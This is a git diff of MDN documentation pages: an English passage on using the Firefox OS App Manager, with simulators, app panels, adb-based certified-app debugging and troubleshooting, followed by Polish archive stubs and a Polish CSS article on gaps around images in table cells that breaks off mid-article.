+
+<h2 id="Using_a_Firefox_OS_Simulator_Add-on"><a name="Simulator">Using a Firefox OS Simulator Add-on</a></h2>
+
+<p>If you haven't got a real device available to use with App Manager, you can still try it out using a <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> Add-on. To start off, install the simulator with the following button (multiple versions are available; you are advised to install them all, for maximum flexibility):</p>
+<p><a class="download-button external ignore-external" href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" rel="noopener">Install Simulator</a></p>
+
+
+<p>Once you've installed the simulator(s), you need to go to about:app-manager to see the connection status bar at the bottom of the App Manager tab, and click the "Start simulator" button. At least three buttons will appear:</p>
+
+<ul>
+ <li>"Firefox OS 1.3", "Firefox OS 1.2" ... etc. (or something similar): the left-most buttons contain the names of the simulator versions you have installed. Click one to start a connection to a simulator.</li>
+ <li>"Add": the middle button navigates to the simulator install links in this article, so you can add more Simulators (Firefox OS 1.3, Firefox OS 1.4, etc.)</li>
+ <li>"Cancel": the right hand button cancels the connection.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: The Firefox OS 1.5 Simulator has been removed, as 1.5 was changed to 2.0. If you have the Firefox OS 1.5 Simulator installed, it won't automatically update to 2.0, so you should uninstall 1.5 and install 2.0 instead. The Firefox OS 2.0 simulator will then automatically update.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The Firefox OS 1.2 Simulator has been removed, as no phones are likely to be released with version 1.2 installed — this version is therefore of limited value, and it makes more sense to spend your time debugging on other versions.</p>
+</div>
+
+<h2 id="Running_custom_builds_in_the_App_Manager">Running custom builds in the App Manager</h2>
+
+<p>Note that you can run custom B2G Desktop and Gaia/Gecko builds in the App Manager via the simulator. Read <a href="/en-US/Firefox_OS/Running_custom_builds_in_the_App_Manager">Running custom Firefox OS/Gaia builds in the App Manager</a> for instructions on how to do this.</p>
+
+<h2 id="Apps_panel_2"><a name="Apps_panel">Apps panel</a></h2>
+
+<p>Now that everything is working, let's review the functionality available inside the App Manager, starting with the Apps panel. From here, you can import an existing app to push onto your device and debug:</p>
+
+<ul>
+ <li>To install a local app, click on the plus next to the "Add Packaged App" label and use the resulting file chooser dialog to select the directory your app is contained inside.</li>
+ <li>To install an externally hosted app, enter the absolute URL of the app's manifest file into the text field inside the "Add Hosted App" box, then press the plus button.</li>
+</ul>
+
+<p>Information about your app should appear on the right hand side of the window, as seen below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Manifest_editor">Manifest editor</h3>
+
+<p>From Firefox 28 onwards, the Apps Panel includes an editor for the app manifest:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="display: block; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Debugging">Debugging</h3>
+
+<p>Clicking on <em>"Update"</em> will update (install) the app on the device. Clicking on <em>"debug"</em> will connect a toolbox to the app, allowing you to debug its code directly:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<div class="note">
+<p>You'll enjoy playing around with the toolbox — try altering the DOM, CSS etc. and you'll see the updates reflected on the device in realtime. Such updates will be saved on the installed app code; you'll see them next time you open the app on the device.</p>
+</div>
+
+<p>Before Firefox 28, the tools are launched in a separate window. From Firefox 28 onwards, the tools are launched in a separate tab in the App Manager itself, alongside the Apps and Device tabs. The tab is given your app's icon so it's easy to find:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Errors">Errors</h3>
+
+<p>If an app was not added successfully — for example if the URL was incorrect, or you selected a packaged app folder — an entry will be added to the page for this app, but this will include error information.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<p>You can also delete an app from this view, by hovering over the App name/description on the left of the window, and pressing the "X" button that appears in each case. This however doesn't remove the app from the device. To do that you need to manually remove the app using the device itself.</p>
+
+<h2 id="Device_panel_2"><a name="Device_panel">Device panel</a></h2>
+
+<p>The <em>Device</em> tab displays information about the connected device. From the <em>"</em>Installed Apps<em>"</em> window, apps on the device can be started and debugged.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<div class="note">
+<p>Note: Certified Apps are not listed by default. <a href="#Debugging_Certified_Apps">See how to debug certified apps</a>.</p>
+</div>
+
+<p><a name="permissions"></a>The "Permissions" window shows the required priviledges for different <a href="/en-US/docs/WebAPI">Web APIs</a> on the current device:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="display: block; height: 375px; margin: 0px auto; width: 600px;"></p>
+
+<p>Finally, you can take a screenshot of the current device display by clicking the "Screenshot" button. The screenshot appears in a new tab on Firefox, and from there you can save or discard it as you wish.</p>
+
+<h2 id="Debugging_Certified_Apps_2"><a name="Debugging_Certified_Apps">Debugging Certified Apps</a></h2>
+
+<p>Currently only devices running a development build of Firefox OS 1.2+ are capable of debugging certified apps. If you have a development build, you can enable certified app debugging by changing the pref <code>devtools.debugger.forbid-certified-apps</code> to <code>false</code> in your profile. To do this, follow the steps below:</p>
+
+<ol>
+ <li>
+ <p>On your computer, enter the following command in Terminal/console to enter your device's filesystem via the shell:</p>
+
+ <pre class="brush: bash">adb shell</pre>
+
+ <p>Your prompt should change to <code>root@android</code>.</p>
+ </li>
+ <li>
+ <p>Next, stop B2G running using the following command:</p>
+
+ <pre class="brush: bash">stop b2g</pre>
+ </li>
+ <li>
+ <p>Navigate to the following directory:</p>
+
+ <pre>cd /data/b2g/mozilla/*.default/</pre>
+ </li>
+ <li>
+ <p>Here, update the prefs.js file with the following line:</p>
+
+ <pre class="brush: js">echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' &gt;&gt; prefs.js</pre>
+ </li>
+ <li>
+ <p>After you've finished editing and saving the file, start B2G again using the following command:</p>
+
+ <pre class="brush: bash">start b2g</pre>
+ </li>
+ <li>
+ <p>Exit the android filesystem using the <code>exit</code> command; this will return you to your normal terminal prompt.</p>
+ </li>
+ <li>
+ <p>Next, reconnect to the App Manager and you should see certified apps appear for debugging.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p>Note: If you want to add this preference to your Gaia build you can run <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p>
+</div>
+
+<h2 id="Troubleshooting_2"><a name="Troubleshooting">Troubleshooting</a></h2>
+
+<p id="My_device_is_not_recognized">If the device is not recognized:</p>
+
+<ul>
+ <li>If clicking the button corresponding to your Firefox OS phone doesn't do anything, make sure you haven't connected an Android phone at the same time as the Firefox OS phone to your computer.</li>
+ <li>Read the <a href="#Configuring_device">Device and system configuration</a> section thoroughly, and make sure all the steps are followed:</li>
+ <li>Is your device running at least Firefox OS 1.2?</li>
+ <li>Don't see all the apps? Do you need to enable <a href="#Debugging_Certified_Apps">Certified Apps debugging</a>?</li>
+ <li>Did you enable "Remote Debugging" in the settings of your phone?</li>
+ <li>If you are not using the <a href="#Adb_Helper_Add-on">ADB Helper add-on</a>:
+ <ul>
+ <li>Did you successfully run the <code>adb forward</code> command?</li>
+ </ul>
+ </li>
+ <li>If you are using the <a href="#Adb_Helper_Add-on">ADB Helper add-on</a> and your device is not listed in the bottom toolbar:
+ <ul>
+ <li>If you use Linux, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to setup udev correctly</a></li>
+ <li>If you use Windows, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to install the appropriate drivers</a></li>
+ <li>You can also enable verbose logging to gather diagnostics:
+ <ul>
+ <li>Use about:config to set the pref "<span class="message"><span class="content"><span class="email">extensions.adbhelper@mozilla.org.sdk</span>.console.logLevel"</span></span> to the string value "all"</li>
+ <li>Disable and re-enable the ADB Helper add-on from the add-ons manager, or restart Firefox</li>
+ <li>Open the App Manager again</li>
+ <li>In the <a href="/docs/Tools/Browser_Console">Browser Console</a>, you should now see additional output lines that mention "adbhelper"</li>
+ <li>If you see them but aren't sure what they mean, stop by the <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">#devtools room on IRC</a> or <a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;attach_text=&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_b2g=---&amp;cf_crash_signature=&amp;cf_status_b2g18=---&amp;cf_status_b2g_1_1_hd=---&amp;cf_status_b2g_1_2=---&amp;cf_status_firefox24=---&amp;cf_status_firefox25=---&amp;cf_status_firefox26=---&amp;cf_status_firefox27=---&amp;cf_status_firefox_esr17=---&amp;cf_status_firefox_esr24=---&amp;cf_tracking_b2g18=---&amp;cf_tracking_firefox24=---&amp;cf_tracking_firefox25=---&amp;cf_tracking_firefox26=---&amp;cf_tracking_firefox27=---&amp;cf_tracking_firefox_esr17=---&amp;cf_tracking_firefox_esr24=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_relnote_b2g=---&amp;comment=&amp;component=Developer%20Tools%3A%20App%20Manager&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-720=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-781=X&amp;flag_type-787=X&amp;flag_type-791=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-802=X&amp;flag_type-803=X&amp;flag_type-809=X&amp;flag_type-825=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Firefox&amp;qa_contact=developer.tools%40firefox.bugs&amp;rep_platform=x86&amp;requestee_type-203=&amp;requestee_type-41=&amp;requestee_type-5=&amp;requestee_type-607=&amp;requestee_type-748=&amp;requestee_type-781=&amp;requestee_type-787=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">file a bug</a> with the log output</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+ <li>See <strong>"???????"</strong> instead of the device name on Linux? You have permissions issues. <a href="http://developer.android.com/tools/device.html#setting-up">Make sure to setup udev correctly</a>.</li>
+ <li>Is your phone screen unlocked?</li>
+ <li>If the command "adb devices" shows no entries even though the phone is connected and unlocked, you may have to <a href="http://blog.fh-kaernten.at/wehr/?p=1182">edit adb_usb.ini</a>.</li>
+</ul>
+
+<p>Can't connect your device to the App Manager or start the simulator? <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Let us know</a> or <a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;attach_text=&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_b2g=---&amp;cf_crash_signature=&amp;cf_status_b2g18=---&amp;cf_status_b2g_1_1_hd=---&amp;cf_status_b2g_1_2=---&amp;cf_status_firefox24=---&amp;cf_status_firefox25=---&amp;cf_status_firefox26=---&amp;cf_status_firefox27=---&amp;cf_status_firefox_esr17=---&amp;cf_status_firefox_esr24=---&amp;cf_tracking_b2g18=---&amp;cf_tracking_firefox24=---&amp;cf_tracking_firefox25=---&amp;cf_tracking_firefox26=---&amp;cf_tracking_firefox27=---&amp;cf_tracking_firefox_esr17=---&amp;cf_tracking_firefox_esr24=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_relnote_b2g=---&amp;comment=&amp;component=Developer%20Tools%3A%20App%20Manager&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-720=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-781=X&amp;flag_type-787=X&amp;flag_type-791=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-802=X&amp;flag_type-803=X&amp;flag_type-809=X&amp;flag_type-825=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Firefox&amp;qa_contact=developer.tools%40firefox.bugs&amp;rep_platform=x86&amp;requestee_type-203=&amp;requestee_type-41=&amp;requestee_type-5=&amp;requestee_type-607=&amp;requestee_type-748=&amp;requestee_type-781=&amp;requestee_type-787=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">file a bug</a>.</p>
diff --git a/files/pl/archive/index.html b/files/pl/archive/index.html
new file mode 100644
index 0000000000..4f4a70c023
--- /dev/null
+++ b/files/pl/archive/index.html
@@ -0,0 +1,21 @@
+---
+title: Archive of obsolete content
+slug: Archive
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive
+---
+<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p>
+
+<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p>
+
+<div class="note">
+<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> before moving content here.</p>
+</div>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<p>{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}</p>
diff --git a/files/pl/archive/marketplace/index.html b/files/pl/archive/marketplace/index.html
new file mode 100644
index 0000000000..f4d14c03a2
--- /dev/null
+++ b/files/pl/archive/marketplace/index.html
@@ -0,0 +1,57 @@
+---
+title: Marketplace
+slug: Archive/Marketplace
+tags:
+ - Archive
+ - Landing
+ - Marketplace
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Marketplace
+---
+<p class="summary">Many aspects of the Firefox Marketplace will soon be removed, with more following as the different services Marketplace offers are End-of-lifed. Related documentation will be moved here as it is removed. See the <a href="https://wiki.mozilla.org/Marketplace/FutureofMarketplaceFAQ">Future of Marketplace FAQ</a> for more answers.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/Archive/Marketplace/API">Marketplace API reference</a></dt>
+ <dd class="landingPageList">Marketplace-related APIs have been removed, therefore the information covering them has been archived.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/Archive/Marketplace/Monetization">Monetization</a></dt>
+ <dd class="landingPageList">Monetization topics that have now been archived due to relevant functionality being removed from the Firefox Marketplace.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/Archive/Marketplace/Options">Options</a></dt>
+ <dd class="landingPageList">Publishing options that are no longer available, hence the information being archived.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/Archive/Marketplace/Publishing">Publishing</a></dt>
+ <dd class="landingPageList">Publishing details that are no longer available, hence the information being archived.</dd>
+</dl>
+</div>
+</div>
+
+<div class="hidden">
+<h2 id="Subnav">Subnav</h2>
+
+<section id="Quick_Links">
+<ol>
+ <li><strong><a href="/en-US/docs/Archive/Marketplace">Marketplace</a></strong></li>
+ <li class="toggle">
+ <details><summary><a href="/en-US/docs/Archive/Marketplace/API">Marketplace APIs</a></summary>{{ListSubpages("/en-US/docs/Archive/Marketplace/API", 1, 0, 1)}}</details>
+ </li>
+ <li class="toggle">
+ <details><summary><a href="/en-US/docs/Archive/Marketplace/Monetization">Monetization</a></summary>{{ListSubpages("/en-US/docs/Archive/Marketplace/Monetization", 1, 0, 1)}}</details>
+ </li>
+ <li class="toggle">
+ <details><summary><a href="/en-US/docs/Archive/Marketplace/Options">Options</a></summary>{{ListSubpages("/en-US/docs/Archive/Marketplace/Options", 1, 0, 1)}}</details>
+ </li>
+ <li class="toggle">
+ <details><summary><a href="/en-US/docs/Archive/Marketplace/Publishing">Publishing</a></summary>{{ListSubpages("/en-US/docs/Archive/Marketplace/Publishing", 1, 0, 1)}}</details>
+ </li>
+</ol>
+</section>
+</div>
diff --git a/files/pl/archive/meta_docs/index.html b/files/pl/archive/meta_docs/index.html
new file mode 100644
index 0000000000..52de2c8447
--- /dev/null
+++ b/files/pl/archive/meta_docs/index.html
@@ -0,0 +1,12 @@
+---
+title: MDN "meta-documentation" archive
+slug: Archive/Meta_docs
+tags:
+ - Archive
+ - MDN
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Meta_docs
+---
+<p>Here you'll find archived "meta-documentation"; that is, documentation about how to write documentation on MDN. The articles here are obsolete and should no longer be referenced; we are retaining them here for reference while we migrate some content to new places, but very little of this is useful.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pl/archive/meta_docs/mdn_page_layout_guide/index.html b/files/pl/archive/meta_docs/mdn_page_layout_guide/index.html
new file mode 100644
index 0000000000..e6ca288977
--- /dev/null
+++ b/files/pl/archive/meta_docs/mdn_page_layout_guide/index.html
@@ -0,0 +1,8 @@
+---
+title: MDN page layout guide
+slug: Archive/Meta_docs/MDN_page_layout_guide
+translation_of: Archive/Meta_docs/MDN_page_layout_guide
+---
+<p><span class="seoSummary"><font><font>Przewodniki te uzupełniają </font></font><a href="/en-US/docs/MDN/Contribute/Content/Style_guide"><font><font>podręcznik stylu MDN</font></font></a><font><font> z określonych układów dla różnych typów stron o MDN. </font><font>To pomaga autorów stworzyć nową treść, która jest strukturalnie zgodne z resztą MDN.</font></font></span></p>
+
+<p><font><font>{{LandingPageListSubpages}}</font></font></p>
diff --git a/files/pl/archive/misc_top_level/index.html b/files/pl/archive/misc_top_level/index.html
new file mode 100644
index 0000000000..0959a3b10b
--- /dev/null
+++ b/files/pl/archive/misc_top_level/index.html
@@ -0,0 +1,8 @@
+---
+title: Misc top level
+slug: Archive/Misc_top_level
+translation_of: Archive/Misc_top_level
+---
+<p>In progress. These pages were moved from the top level of MDN in a spate of furious reorganization.</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/pl/archive/misc_top_level/obrazki,_tabele_i_tajemnicze_dziury/index.html b/files/pl/archive/misc_top_level/obrazki,_tabele_i_tajemnicze_dziury/index.html
new file mode 100644
index 0000000000..29720aeeac
--- /dev/null
+++ b/files/pl/archive/misc_top_level/obrazki,_tabele_i_tajemnicze_dziury/index.html
@@ -0,0 +1,114 @@
+---
+title: 'Obrazki, tabele i tajemnicze dziury'
+slug: 'Archive/Misc_top_level/Obrazki,_tabele_i_tajemnicze_dziury'
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: 'Archive/Misc_top_level/Images,_Tables,_and_Mysterious_Gaps'
+---
+<p>
+</p><p>Niezależnie, kiedy zacząłeś(aś) tworzyć strony WWW, jest prawie pewne, że masz jedną lub dwie strony bazujące na klasycznym paradygmacie "poskręcanych tabel i mnóstwa obrazków". Za każdym razem, gdy chciałeś(aś) ułożyć logo, tak aby pasowało do wyglądu strony, lub kiedy używałeś(aś) ton jednopikselowych rozpychających GIF-ów, założenia (i zagrożenia) pozostawały te same. Wtedy, dawno temu, te założenia działały, ponieważ przeglądarki zazwyczaj ustawiały rozmiary komórek tabeli na szerokość i wysokość obrazka, który znajdował się wewnątrz.
+</p><p>Przenieśmy się teraz do roku 2001, kiedy to zaczęły powstawać przeglądarki internetowe zgodne ze standardami, które układały strony WWW używając do tego HTML-a i CSS, zamiast swoich własnych, ukrytych algorytmów. Dzięki mrocznym zakątkom specyfikacji CSS, każdy układ bazujący na malutkich obrazkach i komórkach tabeli stawał się potencjalną katastrofą wizualną. Jedyne, czego trzeba było, to nowoczesna przeglądarka i poprawny DOCTYPE... buuum!
+</p>
+<h3 id="Sk.C5.82adniki" name="Sk.C5.82adniki"> Składniki </h3>
+<p>Przyjrzyjmy się powodom tych problemów. Zacznijmy od prostego przykładu, pokazanego na Przykładzie 1: jednokomórkowa tabela z obrazkiem w środku.
+</p><p><img align="none" alt="Przykład 1">
+</p><p>Oczywiście większość stron jest trochę bardziej skomplikowana, ale w tym wypadku nie potrzebujemy nic więcej. Jeden obrazek, jedna komórka-- to wszystko. Nie ma nic złego w powyższym przykładzie. Nie miało być, ponieważ to przykład, jak przeglądarki zachowują się tradycyjnie.
+</p><p>Teraz zobaczmy, jak wygląda taka prosta tabela w nowoczesnej przeglądarce, kiedy strona posiada DOCTYPE trybu standardów.
+</p><p><img align="none" alt="Przykład 2">
+</p><p>Zwróć uwagę na przestrzeń dodaną pod obrazkiem w Przykładzie 2. Składnia tabeli i komórki pozostała niezmieniona-- zmienił się tylko sposób wyświetlania. Zamiast "SkurczSięIOpakuj" ten obrazek, przeglądarka opakowuje komórkę wokół linii, w której znajduje się obrazek.
+Obrazek znajduje się w jakiejś linii, ponieważ obrazki należą, domyślnie, do zawartości liniowej (inline). Stąd różnica.
+</p>
+<h3 id="Jak_tworzona_jest_zawarto.C5.9B.C4.87_liniowa" name="Jak_tworzona_jest_zawarto.C5.9B.C4.87_liniowa"> Jak tworzona jest zawartość liniowa </h3>
+<p>Aby zrozumieć, co się właśnie stało, musisz spojrzeć na konstrukcję bloku liniowego, rozmieszczenie obrazków w bloku liniowym i położenie bloku liniowego w komórce tabeli. Najpierw spójrzmy na blok liniowy zawierający tekst, pokazany na Przykładzie 3.
+</p><p><img align="none" alt="Przykład 3">
+</p><p>Najważniejszym elementem Przykładu 3 jest bazowa linia pisma (pokazana jako niebieska linia) i jej położenie w bloku liniowym. Dokładne położenie bazowej linii pisma zależy od domyślnego fontu dla danego bloku liniowego (pokazanego jako czerwony prostokąt), która jest określona przez wartość font-family dla elementu zawierającego blok liniowy. Autor nie ma możliwości bezpośredniej zmiany położenia bazowej linii pisma. Przestrzeń pod bazową linią pisma jest określana jako "descender space", ponieważ tutaj właśnie są rysowane dolne fragmenty liter takich jak "j", "y" i "q". Przykład 4 pokazuje, co się stanie, kiedy dodamy do tego obrazek.
+</p><p><img align="none" alt="Przykład 4">
+</p><p>Zwróć uwagę, gdzie domyślnie znalazł się obrazek: jego dolna krawędź jest wyrównana z linią bazową bloku liniowego. To położenie może być zmienione poprzez własność vertical-align-- powiemy o tym trochę więcej-- ale prawie nikt nigdy nie zmienia domyślnej wartości. Usuńmy tekst i zostawmy tylko obrazek, jak w Przykładzie 5.
+</p><p><img align="none" alt="Przykład 5">
+</p><p>Mamy zatem obrazek ułożony na linii bazowej bloku liniowego, zawierającego tylko obrazek. Teraz rozważmy, co się stanie, kiedy umieścimy tę linię w komórce tabeli (Przykład 6).
+</p><p><img align="none" alt="Przykład 6">
+</p><p>No i stało się - tworzą się spacje tam, gdzie nikt by się ich nie spodziewał! Jeszcze gorzej wygląda to przy mniejszych rysunkach - tak jak te, które są wielkości piksela (Przykład 7).
+</p><p><img align="none" alt="Przykład 7">
+</p><p>Nagle okazuje się, że jest mnóstwo pustych przestrzeni w naszej tabeli. To wystarczy, żeby doprowadzić designera stron do szału.
+</p>
+<h3 id="Mo.C5.BCe_poprawk.C4.99.3F" name="Mo.C5.BCe_poprawk.C4.99.3F"> Może poprawkę? </h3>
+<p>Istnieje tylko jedno oczywiste rozwiązanie: zaprzestać tworzenia stron, które opierają się na tabelach i jednopikselowych obrazkach. Jednak dla wielu autorów nie jest to praktyczne, a na pewno nie pomaga w naprawie starszych projektów, które nagle rozpadają się w nowoczesnych przeglądarkach. Jest jeszcze inny sposób naprawy: upewnić się, że dokument nie zostanie rozpoznany jako wyświetlany w trybie standardów.
+</p><p>Możesz to zrobić używając deklaracji DOCTYPE, która włączy jeden z dwóch trybów: <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">"wstecznej zgodności"</a> lub <a href="pl/Gecko's_Almost_Standards_Mode">"almost standards"</a>, lub nie umieszczając wcale deklaracji DOCTYPE w twoim dokumencie. Brak deklaracji DOCTYPE uniemożliwi walidację, i dlatego nie jest zalecany. Dla autorów, którzy pracują z odziedziczonymi dokumentami, tryb "wstecznej zgodności" deklaracji DOCTYPE jest najlepszym wyborem. W przypadku, kiedy autor tworzy nowy dokument lub próbuje przekształcić projekt tak, aby bazował na standardach na tyle, na ile jest to tylko możliwe, wtedy wybór trybu "almost standards" będzie prawdopodobnie lepszym rozwiązaniem.
+</p><p>Oczywiście, dokumenty zadeklarowane jako XHTML Strict lub HTML Strict wywołają wyświetlanie w trybie "standardów", zatem zamierzamy przedstawić dwa podstawowe sposoby zajęcia się tym problemem w dokumentach w trybie zgodności i kilka sposobów wywoływania tych "poprawek".
+</p>
+<h4 id="Ustawianie_obrazk.C3.B3w_jako_blok.C3.B3w" name="Ustawianie_obrazk.C3.B3w_jako_blok.C3.B3w"> Ustawianie obrazków jako bloków </h4>
+<p>Pierwszym wyborem, i jedynym, który będzie działał w większości projektów wykorzystujących intensywnie grafikę, jest przekształcenie obrazka z elementu liniowego na element blokowy. Zrobienie tego sprawia, że nie jest generowany dłużej blok liniowy i tym samym problem znika, gwarantując, że obrazek jest jedyną rzeczą, która zajmuje tę komórkę tabeli. W najprostszym przypadku możemy dodać styl taki jak ten:
+</p>
+<pre> td img {display: block;}</pre>
+<p>Rozważmy tę regułę zastosowaną do następujących znaczników:
+</p>
+<pre>&lt;table cellspacing="0" cellpadding="0" border="0" width="500"&gt;
+&lt;tr&gt;&lt;td&gt;&lt;img src="nav1.gif"&gt;&lt;img src="nav2.gif"&gt;&lt;img src="nav3.gif"&gt;&lt;img
+src="nav4.gif"&gt;&lt;img src="nav5.gif"&gt;&lt;/td&gt;&lt;/tr&gt;
+&lt;tr&gt;&lt;td style="background: red;"&gt;
+&lt;img src="smallred.gif" height="1" width="1"&gt;&lt;/td&gt;&lt;/tr&gt;
+&lt;tr&gt;&lt;td&gt;
+&lt;p style="margin: 0.5em;"&gt;Ten tekst jest jeszcze jedną komórką tabeli. W tekście jest ikona
+ &lt;img src="icon2.gif"&gt;
+ wskazująca link do innej strony. Jest to bardzo życiowe. Lorem
+ipsum, dolor sit amet...&lt;/p&gt;&lt;/tr&gt;&lt;/table&gt;</pre>
+<p>Jak widzimy w Przykładzie 8 działa to dobrze w niektórych przypadkach, ale nie najlepiej w innych.
+</p><p><img align="none" alt="Przykład 8">
+</p><p>Cienka czerwona linia pokazuje, że jednopikselowy rozpychający GIF sprawia teraz, iż komórka ma wysokość jednego piksela, tak jak projektant zamierzył. Niestety, teraz wszystkie przyciski w górnej komórce są elementami blokowymi i ostatecznie układają się w stos jeden nad drugim zamiast obok siebie.
+</p><p>Jednym z możliwych rozwiązań jest dodanie klasy do każdego obrazka, który powinien być elementem blokowym, i napisanie reguły dopasowującej.
+</p>
+<pre>td img.decoration {display: block;}
+
+&lt;td&gt;&lt;img src="reddot.gif" class="decoration"&gt;&lt;/td&gt;</pre>
+<p>Zależnie od projektu może to wprowadzić wiele klas dodanych dla jednego prostego efektu. Jest to szczególnie widoczne, jeśli mamy wiele jednopikselowych komórek przeznaczonych do tworzenia ładnych linii układających się w stos lub czegoś podobnego. Jeśli samodzielnie dodajesz znaczniki możesz nadać klasy wierszom tabeli zamiast obrazkom. Zatem możesz mieć:
+</p>
+<pre>tr.decoration img {display: block;}</pre>
+<p>...razem z następującą zmianą w znacznikach:
+</p>
+<pre>&lt;tr class="decoration"&gt;&lt;td style="background: red;"&gt;
+&lt;img src="smallred.gif" height="1" width="1"&gt;
+&lt;/td&gt;&lt;/tr&gt;</pre>
+<p>Rezultatem tego jest przekształcenie w element blokowy jedynie GIF-a tworzącego odstępy, zatem pozostałe obrazki zostają w spokoju. Prowadzi to do rezultatu pokazanego w Przykładzie 9.
+</p><p><img align="none" alt="Przykład 9">
+</p><p>Ewentualnie możesz nadać klasę komórkom tabeli zamiast wierszom, jeśli to jest dla ciebie lepszym rozwiązaniem. W każdym z tych przypadków przekształcenie obrazków na elementy blokowe może przynieść niezamierzony efekt, jeśli komórki twojej tabeli zawierają więcej niż jeden pojedynczy obrazek w każdej, jak w Przykładzie 8.
+</p><p>Oczywiście, dopóki mamy jednopikselową komórkę tworzącą odstęp w Przykładzie 9, jest tam jeszcze niechciana przestrzeń pod spodem górnych przycisków nawigacyjnych. Uwolnienie się od tego odstępu może być tak proste jak umieszczenie każdego obrazka we własnej komórce i uczynienie go elementem blokowym, pozostawmy jednak je wszystkie razem w jednej komórce, by pokazać jeszcze inne podejście.
+</p>
+<h4 id="U.C5.BCywanie_wyr.C3.B3wnania_pionowego" name="U.C5.BCywanie_wyr.C3.B3wnania_pionowego"> Używanie wyrównania pionowego </h4>
